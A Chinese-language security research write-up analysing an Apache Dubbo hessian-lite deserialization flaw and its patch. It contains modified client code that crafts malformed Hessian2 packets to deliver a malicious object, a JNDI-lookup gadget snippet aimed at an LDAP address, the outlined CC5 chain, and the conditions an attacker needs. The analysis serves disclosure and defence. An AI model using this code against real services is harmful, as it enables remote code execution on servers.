作者:Longofo@知道創宇404實驗室
日期:2022年1月18日

上周看到Apache官方又發布了一個Apache Dubbo Hessian2的漏洞,來看看這個描述:

之前有段時間Dubbo的反序列化已經被蹂躪過n次了,而這個解析錯誤時看起來總有那么點不一樣,想想這個漏洞即使比較雞肋,也必然它值得借鑒的地方。下面來看看這個漏洞,以及Hessian比較處理時比較有意思的地方。

距離之前Dubbo的漏洞也有一段時間了,現在也差不多快忘了,好在之前寫過一篇Dubbo的分析,溫故一下也能回憶起來。

補丁分析

這個漏洞修復的不是Apache Dubbo,修復的地方在hessian-lite

注意這個commit:Remove toString calling,看修復的幾個類,都是在拋異常中刪除對象的拼接,這里存在字符串拼接的隱式.toString調用。

最后還有一個DENY_CLASS禁用了某些包前綴,大概就是觸發toString調用鏈的某些部分。

漏洞環境

漏洞分析

Abstract Deserializer

看上面補丁,有這樣幾個類:AbstractDeserializer、AbstractListDeserializer、AbstractMapDeserializer,它們修復之前的代碼也出奇的一致:

@Override
    public Object readObject(AbstractHessianInput in)
            throws IOException {
        Object obj = in.readObject();
        String className = getClass().getName();

        if (obj != null)
            throw error(className + ": unexpected object " + obj.getClass().getName() + " (" + obj + ")");
        else
            throw error(className + ": unexpected null value");
    }

這怎么看都不對勁,輸入流讀出對象,對象不為空拋異常!!!這沒有上下文看起來多少帶點大病。抽象類不能被實例化,看看有沒有子類沒有重寫這個方法,如果沒有重寫或重寫并調用了父類這個方法,那么就能觸發.toString()的調用了。

找了一圈,這三個抽象類的所有子類,都重寫了這個方法,并且都不會調用父類地方法,那么這里的修復猜測可能是用戶會繼承這個類然后沒有重寫的可能,就不考慮這種情況了。

Hessian2Input

通往obj.toString()

補丁中還有com.alibaba.com.caucho.hessian.io.Hessian2Input.java的修復,這類名怎么看都是修復在大動脈上:

.expect()中有個讀取readObject()的操作,接著就是obj.toString的調用,.expect()在Hessian2Input類中有多處使用。

如何確定官方提供的dubbo-samples-basic使用的Hessian2,搜索Hessian2Input關鍵詞的類,有Hessian2Input和Hessian2ObjectInput,猜測一下在大概率會被調用的函數上打上斷點,如果不確定可以嘗試在這兩個類所有函數上打上斷點。

經過測試,最先被調用的是com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()

調用棧如下:

readString:1611, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:41, InternalRunnable (org.apache.dubbo.common.threadlocal)
run:745, Thread (java.lang)

com.alibaba.com.caucho.hessian.io.Hessian2Input#readString()中就有.expect()的調用,這不巧了嗎(并不,一開始并沒有在readString()上下斷,更令人關注的難道不是readObject()嗎,但是有時候你不關注的反而更奇妙),因為剛好在上兩層棧,就是整個Dubbo rpc調用處理的decode函數:

得到Hessian2InputObject,調用readUTF獲取版本號,這里是Hessian2反序列化的開始。接下來就是如何在readString()中調用到.expect()了,然后觸發expect()中的readObject()。

看下readString()處理:

public String readString() throws IOException {
        int tag = this.read();
        int ch;
        switch(tag) {
        case 0:
        case 1:
        case 2:
        case 3:
        case 4:
        case 5:
        case 6:
        case 7:
        case 8:
        case 9:
        case 10:
        case 11:
        case 12:
        case 13:
        case 14:
        case 15:
        case 16:
        case 17:
        case 18:
        case 19:
        case 20:
        case 21:
        case 22:
        case 23:
        case 24:
        case 25:
        case 26:
        case 27:
        case 28:
        case 29:
        case 30:
        case 31:
            this._isLastChunk = true;
            this._chunkLength = tag - 0;
            this._sbuf.setLength(0);

            while((ch = this.parseChar()) >= 0) {
                this._sbuf.append((char)ch);
            }

            return this._sbuf.toString();
        case 32:
        case 33:
        ...
        case 67:
        ...
        case 127:
        default:
            throw this.expect("string", tag);
        case 48:
        case 49:
        case 50:
        ...
        ...省略
        case 253:
        case 254:
        case 255:
            return String.valueOf((tag - 248 << 8) + this.read());
        }
    }

一共256個case,從.read()中讀取tag:

public final int read() throws IOException {
        return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255;
    }

一開始我被switch的寫法坑了,我以為default條件是在所有找不到的情況下才會調用,而this._buffer[this._offset++] & 255的范圍只能為0-255,這根本到不了default里面啊,那只能寄希望于this._length <= this._offset && !this.readBuffer()返回-1了。可是折騰了半天,這里就不可能返回-1...

后來恍悟switch是按從上到下處理的,那么只需要取default上面沒有條件的case就行了,這里后面取了67,這里取值67很巧,后面會看到。

畸形數據包構造=>代碼調用

從上面可以看出,我們要到達obj.toString(),就要構造畸形數據包改變正常流向。一開始抓包看了下,發送的包還挺多的,這要構造起來不得把dubbo翻一遍。后來想想,服務端既然用Hessian2Input處理的數據,那么客戶端可能就是用Hessian2Output處理的,經過一些測試,我重寫了Apache Dubbo部分代碼改變Hessian2Input.readString()走向,以及能成功的在expect方法中readObject。

重寫com.alibaba.com.caucho.hessian.io.Hessian2Output#writeString(java.lang.String):

public void writeString(String value) throws IOException {
        int offset = this._offset;
        byte[] buffer = this._buffer;
        if (4096 <= offset + 16) {
            this.flush();
            offset = this._offset;
        }

        if (value == null) {
            buffer[offset++] = 78;
            this._offset = offset;
        } else {
            int length = value.length();

            int strOffset;
            int sublen;
            for (strOffset = 0; length > 32768; strOffset += sublen) {
                sublen = 32768;
                offset = this._offset;
                if (4096 <= offset + 16) {
                    this.flush();
                    offset = this._offset;
                }

                char tail = value.charAt(strOffset + sublen - 1);
                if ('\ud800' <= tail && tail <= '\udbff') {
                    --sublen;
                }

                buffer[offset + 0] = 82;
                buffer[offset + 1] = (byte) (sublen >> 8);
                buffer[offset + 2] = (byte) sublen;
                this._offset = offset + 3;
                this.printString(value, strOffset, sublen);
                length -= sublen;
            }

            offset = this._offset;
            if (4096 <= offset + 16) {
                this.flush();
                offset = this._offset;
            }

            if (length <= 31) {
                if (value.startsWith("2.")) {//這里只讓寫入version版本的時候使服務端readString異常,走向expect
                    buffer[offset++] = 67;//取值67
                } else {
                    buffer[offset++] = (byte) (0 + length);
                }
            } else if (length <= 1023) {
                buffer[offset++] = (byte) (48 + (length >> 8));
                buffer[offset++] = (byte) length;
            } else {
                buffer[offset++] = 83;
                buffer[offset++] = (byte) (length >> 8);
                buffer[offset++] = (byte) length;
            }

            if (!value.startsWith("2.")) {
                this._offset = offset;
                this.printString(value, strOffset, length);
            }
        }
    }

重寫org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeRequestData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String):

protected void encodeRequestData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
        RpcInvocation inv = (RpcInvocation) data;
        out.writeUTF(version);
        out.writeObject(Test.getObject());//寫入惡意對象,在expect中readObject的對象
    }

重寫org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe

public void doSubscribe(final URL url, final NotifyListener listener) {
        try {
            String path;
            if ("*".equals(url.getServiceInterface())) {
                String root = this.toRootPath();
                ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
                    return new ConcurrentHashMap();
                });
                ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
                    return (parentPath, currentChilds) -> {
                        Iterator var5 = currentChilds.iterator();

                        while (var5.hasNext()) {
                            String child = (String) var5.next();
                            child = URL.decode(child);
                            if (!this.anyServices.contains(child)) {
                                this.anyServices.add(child);
                                this.subscribe(url.setPath(child).addParameters(new String[]{"interface", child, "check", String.valueOf(false)}), k);
                            }
                        }

                    };
                });
                this.zkClient.create(root, false);
                List<String> services = this.zkClient.addChildListener(root, zkListener);
                if (CollectionUtils.isNotEmpty(services)) {
                    Iterator var7 = services.iterator();

                    while (var7.hasNext()) {
                        path = (String) var7.next();
                        path = URL.decode(path);
                        this.anyServices.add(path);
                        this.subscribe(url.setPath(path).addParameters(new String[]{"interface", path, "check", String.valueOf(false)}), listener);
                    }
                }
            } else {
                CountDownLatch latch = new CountDownLatch(1);
                List<URL> urls = new ArrayList();
                String[] var15 = this.toCategoriesPath(url);
                int var16 = var15.length;

                for (int var17 = 0; var17 < var16; ++var17) {
                    path = var15[var17];
                    ConcurrentMap<NotifyListener, ChildListener> listeners = (ConcurrentMap) this.zkListeners.computeIfAbsent(url, (k) -> {
                        return new ConcurrentHashMap();
                    });
                    ChildListener zkListener = (ChildListener) listeners.computeIfAbsent(listener, (k) -> {
                        return new ZookeeperRegistry.RegistryChildListenerImpl(url, k, latch);
                    });
                    if (zkListener instanceof ZookeeperRegistry.RegistryChildListenerImpl) {
                        ((ZookeeperRegistry.RegistryChildListenerImpl) zkListener).setLatch(latch);
                    }

                    this.zkClient.create(path, false);
                    List<String> children = this.zkClient.addChildListener(path, zkListener);
                    if (children != null) {
                        urls.addAll(this.toUrlsWithEmpty(url, path, children));
                    }
                }

                URL url1 = URL.valueOf(String.format("dubbo://%s:%s/%s?anyhost=true&application=demo-provider&default=true&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=%s&metadata-type=remote&methods=ccc,ddd&pid=111&release=2.7.14&service.name=ServiceBean:/111.222&side=provider&timestamp=111&token=aaa", BasicConsumer.targetHost, BasicConsumer.targetPort, BasicConsumer.anyInterface, BasicConsumer.anyInterface));//重寫了這里,因為我們不知道目標的接口,zoomkeeper與目標服務通信之后,不會返回目標的ip和端口,所以這里的前提就是如果你不知道目標暴露的接口服務,那么需要知道目標服務的ip和port

                urls.set(0, url1);

                this.notify(url, listener, urls);
                latch.countDown();
            }

        } catch (Throwable var12) {
            throw new RpcException("Failed to subscribe " + url + " to zookeeper " + this.getUrl() + ", cause: " + var12.getMessage(), var12);
        }
    }

重寫com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer

protected Serializer getDefaultSerializer(Class cl) {
        this._isAllowNonSerializable = true;//默認是不允許序列化沒有繼承Serializable的類,但是神奇的是這只是本地的校驗,關閉即可,服務端根本沒有校驗類需要繼承Serializable
        if (this._defaultSerializer != null) {
            return this._defaultSerializer;
        } else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
            throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
        } else {
            return new JavaSerializer(cl, this._loader);
        }
    }

以上的demo代碼放到github了,有興趣的可以測試下。

toString調用鏈構造注意事項

在marshalsec工具中,提供了對于Hessian反序列化可利用的幾條鏈:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

不過有的鏈被拉到了黑名單了,或者需要一些三方包。

之前看到過jdk中其實有個toString的利用鏈:

javax.swing.MultiUIDefaults.toString
            UIDefaults.get
                UIDefaults.getFromHashTable
                    UIDefaults$LazyValue.createValue
                    SwingLazyValue.createValue
                        javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});

經過測試,發現沒法使用:

  • javax.swing.MultiUIDefaults是peotect類,只能在javax.swing.中使用,而且Hessian2拿到了構造器,但是沒有setAccessable,newInstance就沒有權限
  • 所以要找鏈的話需要類是public的,構造器也是public的,構造器的參數個數不要緊,hessian2會自動挨個測試構造器直到成功

然后對于存在Map類型的利用鏈,例如ysoserial中的cc5部分:

TiedMapEntry.toString()
    LazyMap.get()
        ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
                Method.invoke()
                    Class.getMethod()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.getRuntime()
            InvokerTransformer.transform()
                Method.invoke()
                    Runtime.exec()

這個也是無法利用的,因為Hessian2在恢復map類型的對象時,硬編碼成了HashMap或者TreeMap,這里LazeMap就斷了。

掃了下basic項目自帶的包,沒找到能用的鏈,三方包中找到利用鏈的可能性比較大一些。

利用條件

對于上面這個basic項目,使用zoomkeeper作為注冊中心,要利用需要的條件如下:

  • 知道目標服務的ip&port,不需要知道zoomkeeper注冊中心的地址,上面測試項目中使用的是這種樣例,可以看到在客戶端代碼中,我沒有用服務端提供的接口而是隨便寫的一個,依然可以成功利用
  • 或者需要知道zoomkeeper的ip&port+一個目標的interface接口名稱(因為先和zoomkeeper通信,如果沒有提供正確的接口名稱,他不會返回目標的ip和port信息,如果你知道目標的一個interface接口,那么就可以借助zoomkeeper拿到目標的ip和port,總之和zoomkeeper通信的目的也是拿到目標的ip和port)

  • 一個toString利用鏈

最后

從這個漏洞可以學到以下兩點:

  • 類似Hessian2這種反序列化組件,如果要發現類似的漏洞,可以把他們的核心處理類比如Hessian2的Hessian2Input的所有readXXX方法作為source
  • 畸形數據有時候構造不容易,可以考慮從客戶端代碼轉換

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1814/